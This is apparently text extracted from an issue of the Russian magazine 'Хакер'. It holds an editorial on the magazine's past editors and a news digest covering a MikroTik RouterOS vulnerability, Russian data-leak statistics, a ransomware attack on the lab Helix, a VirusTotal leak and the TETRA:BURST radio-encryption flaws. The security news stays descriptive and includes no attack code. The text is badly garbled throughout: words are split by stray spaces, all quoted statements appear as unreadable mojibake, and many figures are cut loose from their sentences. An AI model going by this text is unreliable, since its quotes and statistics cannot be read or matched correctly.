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Поз драв ляя нашего ведуще го редак тора
Вален тина Хол могоро ва с днем рож дения,
я шут ки ради пред ложил ему стать самым
матерым из редак торов не толь ко в жиз ни,
но и в тит рах жур нала. Неожи дан но это при- 
вело к тому, что я три вечера кря ду про вел
в архе оло гичес ких рас копках.

В ответ на мое пред ложение Вален тин толь ко ука зал на оплошность —
не «матерый», мол, редак тор, а «матер ный», буков ку про пус тил. И тут я сра зу
вспом нил о при коле, которым себя и читате лей радова ли наши древ ние
пред ки — пер вая редак ция «Хакера».

Ре дак торы в ран них выпус ках жур нала зва лись «самый глав ный», «самый
гей мер ский», «самый вред ный» и так далее.

Иван «SideX» Кор ноухов впер вые появил ся в тит рах с титулом «типа прос то
редак тор», но вско ре прев зошел всех и стал име новать ся «самым пьяным
редак тором». Потом про вел реб рендинг в «самого пив ного» и под конец
карь еры в «Хакере» — в «самого дед лай нового».

Во обще, меня час то про сят рас ска зать что-то из исто рии жур нала, но я
при шел работать в «Хакер» толь ко в 2015 году — в коман ду Ильи Русане на,
так что никакой ран ней исто рии не зас тал и в качес тве басен ника в под метки
не гожусь нашим ста рожи лам.

Что бы иметь хоть какой-то исто ричес кий кон текст, я вре мена ми отправ- 
ляюсь в экспе дицию и чер паю муд рость пред ков из пер воис точни ка — ста рых
выпус ков «Хакера».

В этот раз моим квес том ста ло прев ращение тит ров жур нала в огромную
таб лицу, из которой лег ко узна вать, кто ког да при ходил в редак цию и ухо дил
из нее и за какие руб рики отве чал.

Ма лень кий кусочек таб лицы

По делюсь некото рыми наход ками.
Ос новной инте рес, конеч но, был к глав редам. Сме нялись они у нас не так

час то, прос ледить за ними лег ко, и каж дый из них (нас) оли цет воря ет целую
эпо ху в жиз ни жур нала.

 — Сер гей «SINtez» Пок ров ский• 1999–2002

 — Алек сандр «2poisonS» Сидоров ский• 2002–2004

 — Иван «Cutter» Пет ров• 2004–2006

 — Никита «Nikitos» Кис лицин• 2006–2012

 — Сте пан «Step» Иль ин• 2012–2014

 — Илья Илем битов• 2014–2015

 — Илья Русанен• 2015–2018

 — Андрей Пись мен ный• ñ 2018-ãî

Не все глав реды, покинув пост, ухо дили от него далеко. Пок ров ский, нап- 
ример, еще дол гое вре мя работал в Gameland, Илем битов нес коль ко
месяцев про дол жал вес ти свои руб рики, а Русанен с нами до сих пор —
повеле вает инфраструк турой и раз работ кой внут ренних инс тру мен тов.

Аб солют ный чем пион по про дол житель ному глав редс тву (пока что?) —
Никита Кис лицин, рулив ший жур налом шесть лет — с апре ля 2006 года
по май 2012-го, а начинал еще редак тором «Взло ма» дву мя годами ранее (в
воз расте 18 лет!). В  можешь про читать его про щаль ное «Интро».но мере 160

Но мер 160 и пос леднее «Интро» Кис лицина

К сожале нию, сей час узна вать о том, где Никита и что с ним, мы можем толь ко
из . Наде емся, что они будут хороши ми!но вос тей

Не изменным выпус кающим при Кис лицине был Николай «gorl» Андре ев.
Ему же при над лежит и рекорд пре быва ния в этой дол жнос ти.

Из редак торов доль ше всех в тит рах про дер жался Саша Лозов ский. Наш
«док тор Klouniz» воз гла вил руб рику «Кодинг» летом 2006 года, а прек ратил
работать над стать ями в мар те 2019-го.

Но мер 176 — с колон кой Лозов ско го

На мой взгляд, у Лозов ско го в «Хакере» самая инте рес ная тра екто рия. Он
был редак тором руб рики «Кодинг» при Пой зоне, потом при Кут тере дол гое
вре мя заведо вал выпус ком, в коман де Никито са сно ва стал редак тором
«Кодин га», потом на нес коль ко номеров зах ватил еще и SYN/ACK и в какой-то
момент воз гла вил новую руб рику — Malware. А потом и «Кодинг» сно ва попал
в его забот ливые руки.

Са ша, если еще чита ешь «Хакер», не забывай, что «Кодинг» всег да ждет
тебя! Толь ко приш ли вес точку.

Во обще, карь ерный путь амби циоз ного редак тора прос лежива ется такой:
человек набира ет на себя одну руб рику за дру гой, а потом через сколь ко-то
номеров либо ста новит ся глав ным или хотя бы выпус кающим, либо про пада- 
ет из тит ров — видимо, страш но задол бавшись.

Из набираль щиков дол жнос тей и руб рик самый яркий при мер — Андрей
«Andrushock» Мат веев. Он в течение десяти лет вел руб рику Unixoid, но под
конец карь еры в «Хакере» взва лил на себя еще SYN/ACK, X-Mobile
и Phreaking; делал раз дел DVD, пос вящен ный Linux, и был замом глав реда
по тех ничес ким воп росам. Где толь ко берут таких работ ников?

Но мер 181, где Сте па про щает ся с нами

При том, что тит ры и при сутс твие в них вро де бы всех заботи ли, сос тавля лись
они с кри миналь ной неб режностью. Какие-то люди работа ли в жур нале пару
месяцев и успе ли отме тить ся, но есть и герои, которые внес ли огромный
вклад в раз витие «Хакера», а в тит ры никог да не попада ли.

Статьи леген дарно го Кри са Кас пер ски в иных номерах сос тавля ли чуть ли
не до тре ти объ ема. Но про зас луги Кри са ты, навер ное, уже в кур се. Если
нет, то обя затель но глянь цикл по кни ге «Фун дамен таль ные осно вы хакерс- 
тва», которую Юра Язев толь ко недав но закон чил .об новлять

Дру гой герой и источник скры той силы «Хакера» — Мария Нефёдо ва.
Маша писала в руб рику «Сце на» боль ше десяти лет под ряд и при этом никог- 
да не стре милась зас ветить ся в редак тор ском сос таве.

За ведо вали «Сце ной» сна чала Олег «mindwOrk» Чебене ев, потом Илья
Алек сан дров, потом во вре мена номеров 112 и 113 — загадоч ные «Петя
и Волк» (я так и не понял, кто это и почему так под писывал ся), а потом дол- 
го-дол го сло во «Сце на» прос то не появ лялось в тит рах, пока руб рика не упа- 
ла в руки Ильи Илем битова, а спус тя год — в мои.

Все это вре мя Маша, помимо «Мегано вос тей», откры вающих каж дый
выпуск, ста биль но радова ла читате лей топовы ми матери ала ми о зна мени тых
хакерах и важ ных событи ях. Спа сибо ей за это!

Во обще, если инте ресу ешь ся ран ней исто рией «Хакера», рекомен дую
гля нуть  жур нала с 1999-го по 2007 год и  нес коль ких
клю чевых сот рудни ков (у кого-то, видимо, был такой же порыв коп нуть исто- 
рию).

тай млайн би огра фии

А еще можешь почитать , которое я брал у осно вате ля Gameland
Димы Ага руно ва, тоже в рам ках оче ред ного изыс кания. И думаю, не пос- 
ледне го.

ин тервью
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В этом месяце: в стан дарте тран кинго вой ради освя зи TETRA
наш ли мно жес тво проб лем, китай ские хакеры похити ли
у Microsoft важ ный крип тогра фичес кий ключ, 900 тысяч мар- 
шру тиза торов MikroTik уяз вимы перед новым багом, Google
раз рабаты вает «DRM для интерне та» и дру гие инте рес ные
события июля.

БАГ В MIKROTIK

Кри тичес кая уяз вимость, допус кающая повыше ние при виле гий до уров ня
Super Admin, угро жает более чем 900 тысячам мар шру тиза торов MikroTik
с RouterOS на бор ту.

Проб лема отсле жива ется под иден тифика тором CVE-2023-30799 и поз- 
воля ет зло умыш ленни кам, у которых уже есть учет ная запись адми нис тра- 
тора, повысить свои при виле гии до Super Admin через интерфейс WinBox
или HTTP.

Спе циалис ты ком пании VulnCheck объ ясня ют, что проб лема не выг лядит
серь езной лишь на пер вый взгляд. Ведь, казалось бы, если потен циаль ный
ата кующий дол жен заранее иметь при виле гии адми нис тра тора, все не так уж
пло хо. Но к сожале нию, это вряд ли оста новит зло умыш ленни ков, так
как RouterOS не пре дот вра щает брут форс-ата ки, не предъ явля ет жес тких
тре бова ний к паролю адми нис тра тора, а так же по умол чанию име ет акка унт
admin, о котором извес тно очень дав но.

Ху же того, до октября 2021 года пароль адми нис тра тора по умол чанию
был пус той стро кой, и эту проб лему испра вили толь ко с релизом RouterOS
6.49. По дан ным иссле дова телей, око ло 60% устрой ств MikroTik все
еще исполь зуют эту учет ную запись, хотя про изво дитель дав но рекомен дует
ее уда лить.

«
»

«Ìàñ ñîâàÿ ýêñ ïëó àòà öèÿ (óÿç âèìîñ òè) îñëîæíÿ åòñÿ òåì, ÷òî äëÿ àòà êè
òðå áóþò ñÿ äåé ñòâè òåëü íûå ó÷åò íûå äàí íûå. Îäíà êî ìàð øðó òèçà òîðàì
íå õâà òàåò áàçîâîé çàùèòû îò ïîä áîðà ïàðîëÿ, — ãîâîðÿò ýêñïåð òû
VulnCheck. — Ìû íàìåðåí íî íå ïóá ëèêó åì PoC-ýêñ ïëî èò, íî áóäü îí
äîñ òóïåí, òî íàâåð íÿêà áûë áû èñïîëü çîâàí [õàêåðà ìè] íà ïðàê òèêå
ñðà çó ïîñ ëå ïóá ëèêàöèè íàøåé ñòàòüè».

Уяз вимость была обна руже на еще в июне 2022 года, и инже неры MikroTik
испра вили ее в октябре 2022 года в ста биль ной вер сии RouterOS (6.49.7),
а 19 июля 2023 года вышел патч для вет ки Long-term (6.49.8). В VulnCheck
отме чают, что све жие пат чи появи лись лишь пос ле того, как спе циалис ты свя- 
зались с раз работ чиками и подели лись с ними новыми экс пло ита ми.

По ста тис тике Shodan, перед CVE-2023-30799 уяз вимы 474 тысячи
устрой ств, пос коль ку их управля ющая веб-стра ница дос тупна для уда лен ного
дос тупа. Одна ко, пос коль ку уяз вимость так же может исполь зовать ся через
WinBox (кли ент для управле ния устрой ства ми на базе MikroTik RouterOS),
количес тво уяз вимых девай сов уве личи вает ся поч ти вдвое и сос тавля ет
уже 926 тысяч устрой ств.

Вер сии RouterOS на устрой ствах, обна ружен ных через Shodan

Ис сле дова тели объ ясня ют, что при виле гии уров ня Super Admin име ют ряд
пре иму ществ перед обыч ными при виле гиями адми нис тра тора. Фак тичес ки
суперад минис тра тор получа ет пол ный и неог раничен ный дос туп к опе раци- 
онной сис теме RouterOS, и такие при виле гии обыч но может иметь базовое
ПО, но не поль зователь.

УТЕЧКИ ПРОИСХОДЯТ В  РАЗА ЧАЩЕ4

Рос комнад зор под счи тал, что с начала 2023 года в Рос сии слу чилось уже  уте чек баз пер- 
сональ ных дан ных про тив  за ана логич ный пери од 2022 года. По под сче там спе циалис тов
регуля тора, сум марно в сеть попали око ло  записей о граж данах.

76
19

177 мил лионов

Для срав нения: за пер вое полуго дие 2022 года было зафик сирова но 19 уте чек пер сональ ных
дан ных, в откры тый дос туп попали око ло  записей.45 мил лионов

В Рос комнад зоре уве рены, что учас тивши еся взло мы БД и их сли вы в пуб личное прос транс- 
тво — это «часть гиб ридной вой ны, которая ведет ся про тив Рос сии».

У FLIPPER ZERO
ПОЯВИЛСЯ МАГАЗИН
ПРИЛОЖЕНИЙ

Раз работ чики хакер ско го «муль титула» Flipper запус тили собс твен ный 
 Flipper Apps, поз воля ющий поль зовате лям уста нав ливать

сто рон ние при ложе ния и рас ширять воз можнос ти сво их устрой ств.

ма- 
газин при ложе ний

Ма газин встро ен в новую вер сию мобиль ного при ложе ния Flipper Zero
для Android и iOS. Если рань ше поль зовате лям при ходи лось самос тоятель но
искать при ложе ния (как пра вило, в раз личных репози тори ях, вро де GitHub)
и заг ружать их на устрой ство при помощи microSD, то теперь вла дель цы
Flipper Zero могут прос матри вать про верен ные при ложе ния пря мо в магази- 
не.

На момент запус ка в магази не были дос тупны око ло 100 при ложе ний, раз-
делен ных на катего рии, вклю чая «Игры», «Медиа», «Ути литы», RFID, NFC, USB.
Здесь мож но най ти hex-редак торы, фаз зеры, уни вер саль ные пуль ты дис- 
танци онно го управле ния и мно гое дру гое.

В ком пании под черки вают, что любой раз работ чик может соз дать и отпра- 
вить в Flipper Apps собс твен ное при ложе ние, нас тро ив репози торий GitHub
и соз дав pull request на вклю чение в офи циаль ную кодовую базу.

Все при ложе ния про ходят руч ную и авто мати чес кую про вер ки, что бы убе- 
дить ся, что они безопас ны и выпол няют заяв ленные фун кции, работая
без дос тупа к зап рещен ным инс тру мен там, про токо лам или час тотам.
При этом все при ложе ния дол жны быть бес плат ными и опен сор сны ми.

LINUX СТАЛ ПОПУЛЯРНЕЕ
В ком пании StatCounter под счи тали, что доля Linux-дис три бути вов на мировом рын ке дес ктоп- 
ных опе раци онных сис тем впер вые дос тигла . Для срав нения: пять лет назад доля Linux
сос тавля ла лишь .

3,07%
1,69%

Ес ли рас смат ривать Chrome OS как еще одну Linux-сис тему, то к получен ным дан ным мож но
добавить еще , в сум ме получив уже целых .4,13% 7,2%

Так же сто ит отме тить падение доли Windows с  до  за год. Пред полага ется, что
это свя зано с при оста нов кой про даж в Рос сии.

76,33% 68,23%

Уве рен но рас тет и macOS, доля которой уве личи лась с  в июне 2022 года до 
в текущем году.

14,64% 21,32%

Та ким обра зом, в нас тоящее вре мя под управле нием Windows и macOS работа ют  всех
дес кто пов в мире, а оста ток рын ка делят меж ду собой Chrome OS, Linux и «Неиз вес тно» (в эту
груп пу попали сов сем новые или очень ста рые вер сии популяр ных ОС).

89,5%

ХАКЕРЫ АТАКОВАЛИ
«ХЕЛИКС»

Ла бора тор ная служ ба «Хеликс» пос тра дала от хакер ской ата ки, из-за чего
резуль таты ана лизов выдава ли с задер жкой. Хотя в заяв лении ком пании под- 
черки вает ся, что утеч ки пер сональ ных дан ных кли ентов не было, хакеры опуб- 
ликова ли в дар кне те 884 Мбайт дан ных, яко бы укра ден ных у ком пании
(7,3 мил лиона строк).

Ата ка на «Хеликс» про изош ла в ночь с 15 на 16 июля 2023 года. Как сооб- 
щили в пресс-служ бе ком пании, хакеры попыта лись внед рить в сис темы сети
диаг ности чес ких цен тров шиф роваль щик, а затем пот ребова ли выкуп за рас- 
шифров ку дан ных.

В ком пании уве ряли, что ИТ-спе циалис там «Хеликс» уда лось оста новить
рас простра нение мал вари и толь ко часть дан ных ока залась зашиф рована.
Утром 16 июля диаг ности чес кие цен тры уже мог ли при нимать заказы, а пос ле
ком пания яко бы зарабо тала в штат ном режиме.

«
»

«Â ñâÿ çè ñ ÷àñ òè÷íîé ïðè îñòà íîâ êîé ðàáîòû ëàáîðà òîð íûõ êîì ïëåê ñîâ
íàá ëþäà þòñÿ çàäåð æêè â âûäà÷å ðåçóëü òàòîâ ïî çàêàçàì
îò 15 è 16 èþëÿ. Âñå ðåçóëü òàòû áóäóò îòïðàâ ëåíû êëè åíòàì íà ýëåê- 
òðîí íóþ ïî÷ òó íå ïîç äíåå 23:59 17 èþëÿ. Âàæ íî, ÷òî êîì ïàíèè óäà- 
ëîñü èçáå æàòü ïîòåðè êàêèõ ëèáî äàí íûõ, à òàê æå óòå÷ êè ïåð ñîíàëü- 
íûõ äàí íûõ êëè åíòîâ», — ñîîá ùàëà òîã äà ïðåññ ñëóæ áà.

Ру ково дитель отде ла информа цион ной безопас ности «Хеликс» Алек сандр
Луган ский так же заявил СМИ, что для пре дот вра щения утеч ки в даль нейшем
ком пания пред при няла ряд мер, в том чис ле сбро сила все пароли в лич ных
кабине тах роз ничных и кор поратив ных кли ентов.

По его сло вам, внут ри сети так же были уси лены полити ки безопас ности,
нас тро ен допол нитель ный монито ринг и велась пос тоян ная работа
над миними заци ей рис ка воз можных уте чек.

«
»

«Íà äàí íûé ìîìåíò ìû ïðî äîë æàåì ðàñ ñëå äîâà íèå èíöè äåí òà
è âûÿñ íÿåì õðî íîëî ãèþ àòà êè. Ïî èòî ãàì ðàñ ñëå äîâà íèÿ êîì ïàíè åé
áóäåò ïðè íÿòî ðåøåíèå î íåîá õîäèìîñ òè îáðà ùåíèÿ â ïðà âîîõ- 
ðàíèòåëü íûå îðãà íû», — ñîîá ùèë Ëóãàí ñêèé.

Тем вре менем ата ковав шие «Хеликс» зло умыш ленни ки начали сли вать яко бы
укра ден ную информа цию в дар кне те, так как ком пания отка залась идти
с ними на перего воры. На хак форуме был опуб ликован дамп БД кли ентов
ком пании раз мером 884 Мбайт, нас читыва ющий око ло 7 300 000 строк.
По дан ным ИБ-иссле дова телей, в фай ле содер жатся пер сональ ный ID, ФИО,
дата рож дения, а иног да email, телефон, СНИЛС.

Как вид но на скрин шоте выше, зло умыш ленни ки угро жают вско ре про дол жить
пуб ликацию и выложить «по-нас тояще му чувс тви тель ную информа цию», если
пред ста вите ли ком пании не вый дут с ними на связь.

В пресс-служ бе «Хеликс» сооб щили «Хакеру» сле дующее:

«

»

«Òðàí ñëè ðóåìàÿ çëî óìûø ëåííè êàìè èíôîðìà öèÿ î òîì, ÷òî â ñåòü
èíòåðíåò ïîïàëà áàçà ïåð ñîíàëü íûõ äàí íûõ êëè åíòîâ „Õåëèêñ“,
íå ñîîò âåòñ òâó þò äåé ñòâè òåëü íîñ òè. Ñî ñâî åé ñòî ðîíû ìû íå çàôèê- 
ñèðîâà ëè óòå÷ êó äàí íûõ, à èíôîðìà öèÿ, ôðàã ìåíòû êîòîðîé ïîëó÷è ëà
íàøà ÈÒ êîìàí äà è êîòîðóþ êèáåð ìîøåí íèêè íàçûâà þò áàçîé
„Õåëèêñ“, âûçûâà åò ñîì íåíèÿ â äîñ òîâåð íîñòè, òàê êàê òàì ïðè ñóòñ- 
òâó þò çàïèñè î ëþäÿõ, êîòîðûå íèêîã äà íå áûëè êëè åíòà ìè „Õåëèêñ“.
Ïî îöåí êå êîì ïàíèè, ýòî ìîæåò áûòü áàçà ïåð ñîíàëü íûõ äàí íûõ êëè- 
åíòîâ äðó ãèõ îðãà íèçà öèé, êîòîðûå ðàíåå ïîä âåðãà ëèñü õàêåð ñêèì
àòà êàì è ÷üè áàçû ïîïàëè â èíòåðíåò. Íà äàí íûé ìîìåíò ìû ïðî äîë- 
æàåì ðàñ ñëå äîâà íèå äàí íîãî èíöè äåí òà è âûÿñ íÿåì õðî íîëî ãèþ àòà- 
êè. Ê ðàñ ñëå äîâà íèþ ïðèâ ëå÷åíû â òîì ÷èñ ëå ñîîò âåòñ òâó þùèå ïîä- 
ðàçäå ëåíèÿ Ôåäåðàëü íîé ñëóæ áû áåçîïàñ íîñòè ÐÔ».

БИЛЛ ГЕЙТС ОБ ИСКУССТВЕННОМ ИНТЕЛЛЕКТЕ

Уже не в пер вый раз Билл Гей тс зат рагива ет в сво ем бло ге темы, свя зан ные с раз вити ем
искусс твен ного интеллек та. Этот матери ал он пос вятил воз можным рис кам, которые ждут
людей из-за раз вития ИИ.

Гей тс полага ет, что это не пер вый раз, ког да круп ная инно вация соз дает новые угро зы,
которые нуж но кон тро лиро вать. В качес тве при мера он при водит появ ление авто моби лей и ПК
и отме чает, что мно гие проб лемы, свя зан ные с ИИ, мож но будет решить с помощью ИИ.

→ «Вско ре пос ле появ ления пер вых авто моби лей на дорогах про изош ла пер вая
авто мобиль ная ава рия. Но мы не зап ретили авто моби ли. Мы вве ли огра ниче ния
ско рос ти, стан дарты безопас ности, лицен зион ные тре бова ния, законы о вож- 
дении в нет резвом виде и дру гие пра вила дорож ного дви жения.

Сей час мы находим ся на самой ран ней ста дии дру гого глу боко го изме- 
нения — эпо хи ИИ. Она ана логич на тем неуве рен ным вре менам, ког да не было
огра ниче ний ско рос ти и рем ней безопас ности. ИИ меня ется так быс тро, что
неяс но, что будет даль ше. Перед нами сто ят боль шие воп росы, свя зан ные
с тем, как работа ет нынеш няя тех нология, как люди будут исполь зовать ее
в зло наме рен ных целях и как ИИ изме нит нас как общес тво и как отдель ных
людей.

Из все го, что было написа но до сих пор о рис ках ИИ (а написа но было
немало), ясно одно: ни у кого нет отве тов на все воп росы. Для меня так же оче- 
вид но, что будущее ИИ не так мрач но, как дума ют одни, и не так радуж но,
как дума ют дру гие. Рис ки реаль ны, но я с опти миз мом смот рю на то, что ими
мож но управлять»,  — рас ска зыва ет Гей тс.

УТЕЧКА
ЧЕРЕЗ VIRUSTOTAL

Сот рудник при над лежащей Google плат формы VirusTotal слу чай но заг рузил
на сайт файл с име нами и адре сами элек трон ной поч ты сотен людей, работа- 
ющих в спец служ бах и минис терс твах обо роны по все му миру. В час тнос ти,
в спи сок попали лица, свя зан ные с Кибер коман довани ем США, АНБ, Пен- 
тагоном, ФБР и рядом под разде лений армии США.

Утеч ку это го важ ного фай ла раз мером 313 Кбайт, содер жащего информа- 
цию о 5600 кли ентах VirusTotal, обна ружи ли жур налис ты изда ния Der Spiegel.
По их сло вам, спи сок содер жит наз вания орга низа ций и адре са элек трон ной
поч ты сот рудни ков, зарегис три ровав ших учет ные записи.

Из дание под черки вает, что про вери ло под линность спис ка и убе дилось,
что мно гие из перечис ленных людей на самом деле явля ются гос слу жащи ми,
а некото рых из пос тра дав ших мож но без тру да най ти в LinkedIn.

Как ока залось, свы ше двад цати записей в спис ке при над лежат сот рудни- 
кам Кибер коман дования США, Минис терс тва юсти ции США, Пен тагона,
федераль ной полиции, ФБР, АНБ.

От Великоб ритании в спи сок попали более десяти сот рудни ков Минис- 
терс тва обо роны, а так же email-адре са, при над лежащие сот рудни кам CERT-
UK, вхо дяще го в сос тав Цен тра пра витель ствен ной свя зи стра ны (GCHQ).
В соот ветс твии с фор матом элек трон ной поч ты GCHQ, ящи ки сот рудни ков
содер жат толь ко ини циалы фамилий каж дого поль зовате ля.

За то пол ные име на содер жатся в email-адре сах, при над лежащих спе- 
циалис там Минобо роны, Кабине та минис тров, Управле ния по выводу из экс- 
плу ата ции атом ных элек трос танций и Пен сион ного фон да Великоб ритании.

Так же жер тва ми утеч ки ста ли сот рудни ки раз личных минис терств Гер- 
мании (вклю чая Федераль ную полицию, Федераль ное управле ние уго лов ной
полиции и Служ бу воен ной конт рраз ведки), Егип та, Изра иля, Катара, Колум- 
бии, Лит вы, ОАЭ, Поль ши, Саудов ской Ара вии, Сло вакии, Тур ции, Укра ины,
Фран ции, Чехии, Эсто нии и Япо нии.

Еще око ло трид цати поч товых адре сов при над лежат сот рудни кам
Deutsche Bahn (основной желез нодорож ный опе ратор Гер мании), а так же
в фай ле мож но най ти дан ные сот рудни ков Bundesbank и таких круп ных ком- 
паний, как BMW, Mercedes-Benz и Deutsche Telekom.

Хо тя утеч ка зат рагива ет толь ко email-адре са и име на, даже они могут
стать цен ной информа цией для хакеров. Дело в том, что файл про лива ет свет
на людей, которые занима ются воп росами кибер безопас ности и вре донос- 
ным ПО во мно гих ком пани ях, ведомс твах и орга низа циях. В ито ге они могут
стать мишеня ми для целевых фишин говых атак или соци аль ной инже нерии.
К тому же из спис ка мож но понять, что, нап ример, некото рые воен нослу- 
жащие исполь зуют в работе лич ные поч товые ящи ки и лич ные учет ные записи
Gmail, Hotmail и Yahoo.

Пред ста вите ли Google уже сооб щили СМИ, что им извес тно о про изо шед- 
шей утеч ке и ком пания при няла все необ ходимые меры для ее лик видации.

«
»

«Íàì èçâåñ òíî, ÷òî îäèí èç íàøèõ ñîò ðóäíè êîâ íåï ðåäíà ìåðåí íî ðàñ- 
ïðîñòðà íèë íà ïëàò ôîðìå VirusTotal íåáîëü øîé ñåã ìåíò email-àäðå ñîâ
àäìè íèñ òðà òîðîâ ãðóïï êëè åíòîâ è íàç âàíèé îðãà íèçà öèé. Ìû óäà- 
ëèëè ñïè ñîê ñ ïëàò ôîðìû â òå÷åíèå ÷àñà ïîñ ëå åãî ðàç ìåùåíèÿ
è èçó ÷àåì íàøè âíóò ðåííèå ïðî öåñ ñû è òåõ íè÷åñ êèå ñðåäñ òâà êîí òðî- 
ëÿ, ÷òî áû óëó÷ øèòü èõ ðàáîòó â áóäóùåì», — çàÿâè ëè â êîì ïàíèè.

 ДОМЕНОВ В ЗОНЕ .RU5 000 000

Ко орди наци онный центр доменов .RU/.РФ сооб щил, что по ито гам вто рого квар тала 2023 года
наиболь ший рост показа ли наци ональ ные домены Китая ( ), Бра зилии ( ) и Рос сии
( ).

+3,3% +2,1%
+1,4%

Пос ле сни жения в 2022 году рос сий ская наци ональ ная зона уже два квар тала демонс три рует
неболь шой рост, и по ито гам вто рого квар тала она вырос ла на  доменов. Общее чис ло
зарегис три рован ных имен в ито ге сос тавило .
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В СТАНДАРТЕ TETRA
НАШЛИ МНОЖЕСТВО
ПРОБЛЕМ

Ис сле дова тели выяви ли пять уяз вимос тей в стан дарте  (Terrestrial
Trunked Radio), который исполь зуют пра воох ранитель ные орга ны, воен ные
и опе рато ры кри тичес кой инфраструк туры по все му миру. Уяз вимос ти получи- 
ли общее наз вание TETRA:BURST и поз воля ют рас шифро вывать дан ные
в режиме реаль ного вре мени. При этом экспер ты счи тают, что обна ружи ли
бэк дор, который, похоже, был соз дан намерен но.

TETRA

Стан дарт TETRA раз работан Евро пей ским инсти тутом телеком муника цион ных стан дартов (ETSI)
в 1995 году и с тех пор широко при меня ется более чем в 100 стра нах мира. Час то TETRA
исполь зует ся в качес тве полицей ской сис темы ради освя зи, а так же для управле ния кри тичес- 
кими сис темами, вклю чая элек три чес кие сети, газоп роводы и желез ные дороги. В Рос сии и в
стра нах ЕС TETRA при меня ется в слу жеб ных и тех нологи чес ких сетях свя зи (речевой и для
переда чи дан ных) желез нодорож ного тран спор та.

По информа ции изда ния , TETRA исполь зуют как минимум двад цать кри тичес ки важ- 
ных инфраструк тур в США. В их чис ло вхо дят элек тро энер гетичес кие пред при ятия, пог ранич- 
ная служ ба, неф тепере раба тыва ющий завод, химичес кие заводы, круп ная сис тема общес твен- 
ного тран спор та, три меж дународ ных аэро пор та и учеб ная база армии США.

Wired

Проб лемы были выяв лены гол ланд ской ком пани ей Midnight Blue
еще в 2021 году, и на сегод няшний день нет доказа тель ств того, что уяз- 
вимос ти исполь зовались зло умыш ленни ками.

В нас тоящее вре мя для некото рых уяз вимос тей из спис ка TETRA:BURST
уже выпуще ны исправ ления, и теперь иссле дова тели смог ли рас ска зать
о багах пуб лично. При этом не все проб лемы в целом мож но испра вить
с помощью пат чей, и пока неяс но, какие про изво дите ли уже под готови ли
исправ ления для сво их кли ентов.

«
»

«Â çàâèñè ìîñ òè îò êîí ôèãóðà öèè èíôðàñòðóê òóðû è êîí êðåò íûõ
óñòðîé ñòâ, óÿç âèìîñ òè ïîç âîëÿ þò âûïîë íÿòü ðàñ øèôðîâ êó äàí íûõ
â ðåàëü íîì âðå ìåíè, àòà êè òèïà „ñáîð ñåé ÷àñ — ðàñ øèôðîâ êà ïîç æå“,
à òàê æå îñó ùåñò âëÿòü èíú åêöèè ñîîá ùåíèé, äåàíî íèìè çàöèþ ïîëü- 
çîâàòå ëåé è ïðè âÿç êó ñåàí ñîâîãî êëþ ÷à», — ñîîá ùàþò ñïå öèàëèñ òû.

В осно ве TETRA лежит набор сек ретных проп риетар ных крип тогра фичес ких
алго рит мов: набор TETRA Authentication Algorithm (TAA1), пред назна чен ный
для аутен тифика ции и рас пре деле ния клю чей, а так же набор TETRA
Encryption Algorithm (TEA) для Air Interface Encryption (AIE).

В целом стан дарт вклю чает четыре алго рит ма шиф рования — TEA1, TEA2,
TEA3 и TEA4, которые могут исполь зовать ся про изво дите лями в раз личных
про дук тах (в зависи мос ти от их пред назна чения и заказ чика). Так,
TEA1 рекомен дован для ком мерчес кого исполь зования и при меня ется в кри- 
тичес кой инфраструк туре ЕС и дру гих стран мира, одна ко, сог ласно ETSI, он
так же ори енти рован на исполь зование служ бами общес твен ной безопас- 
ности и воен ными. Сами иссле дова тели обна ружи ли, что некото рые полицей- 
ские ведомс тва тоже полага ются на TEA1.

TEA2 пред назна чен для евро пей ской полиции, служб экс трен ной помощи,
воен ных и спец служб. TEA3 дос тупен для полиции и служб экс трен ной
помощи за пре дела ми ЕС — в стра нах, счи тающих ся «дру жес твен ными»
по отно шению к евро пей ским, вклю чая Мек сику и Индию. «Нед ружес твен ные»
стра ны, нап ример Иран, могут исполь зовать толь ко TEA1. Что каса ется TEA4,
по сло вам иссле дова телей, он поч ти ниг де не при меня ется.

Все алго рит мы охра няют ся как ком мерчес кая тай на и защище ны стро гими
сог лашени ями о нераз гла шении.

Что бы доб рать ся до алго рит мов и изу чить их, иссле дова тели при обре ли
на eBay ради останцию Motorola MTM5400 и пот ратили четыре месяца
на поиск и извле чение алго рит мов из защищен ного анкла ва в про шив ке
устрой ства. Им приш лось исполь зовать ряд 0-day-экс пло итов, что бы обой ти
защиту Motorola (ком пании сооб щили о них и дали воз можность испра вить).
В ито ге в ходе реверс-инжи нирин га TAA1 и TEA иссле дова тели выяви ли пять
проб лем, от нез начитель ных до кри тичес ких:
• CVE-2022-24400 — ошиб ка в алго рит ме аутен тифика ции поз воля ет зло- 

умыш ленни кам уста новить для Derived Cypher Key (DCK) зна чение 0;
• CVE-2022-24401 — генера тор клю чевых пос ледова тель нос тей AIE исполь- 

зует сетевое вре мя, которое переда ется откры то, без аутен тифика ции, что
допус кает рас шифров ку и oracle-ата ки;

• CVE-2022-24402 — TEA1 име ет бэк дор, который сок раща ет исходный 80-
бит ный ключ до таких раз меров (32 бита — мень ше полови ны дли ны клю- 
ча), что его мож но за счи таные минуты подоб рать брут форсом на обыч ном
пот ребитель ском ноут буке;

• CVE-2022-24403 — крип тогра фичес кая схе ма, исполь зуемая
для обфуска ции ради оиден тифика торов, поз воля ет зло умыш ленни кам
деано ними зиро вать и отсле живать поль зовате лей;

• CVE-2022-24404 — отсутс тву ет ciphertext-аутен тифика ция в AIE, что поз- 
воля ет про водить так называ емые ата ки на гиб кость (malleability attack).

Ис сле дова тели объ ясня ют, что вли яние перечис ленных уяз вимос тей в зна- 
читель ной сте пени зависит от того, как TETRA исполь зует ся, нап ример
от того, переда ются ли этим спо собом голос или дан ные, а так же какой имен- 
но крип тогра фичес кий алго ритм при менен.

Серь езнее всех сре ди обна ружен ных проб лем CVE-2022-24401, которая
может исполь зовать ся для рас кры тия тек сто вых и голосо вых сооб щений
или дан ных без клю ча шиф рования.

Вто рая кри тичес кая уяз вимость, CVE-2022-24402, обна ружен ная в TEA1,
поз воля ет зло умыш ленни кам выпол нять инжекты в тра фик, который исполь- 
зует ся для монито рин га и кон тро ля про мыш ленно го обо рудо вания.

По сло вам экспер тов, рас шифров ка тра фика и инъ екции вре донос ного
тра фика могут поз волить зло умыш ленни кам совер шать раз личные опас ные
дей ствия, вклю чая раз мыкание авто мати чес ких вык лючате лей на элек три чес-
ких под стан циях, что, нап ример, может при вес ти к отклю чению элек тро энер- 
гии, как про исхо дило во вре мя атак мал вари .Industroyer

«Уяз вимость в TEA1 (CVE-2022-24402), оче вид но, явля ется резуль татом
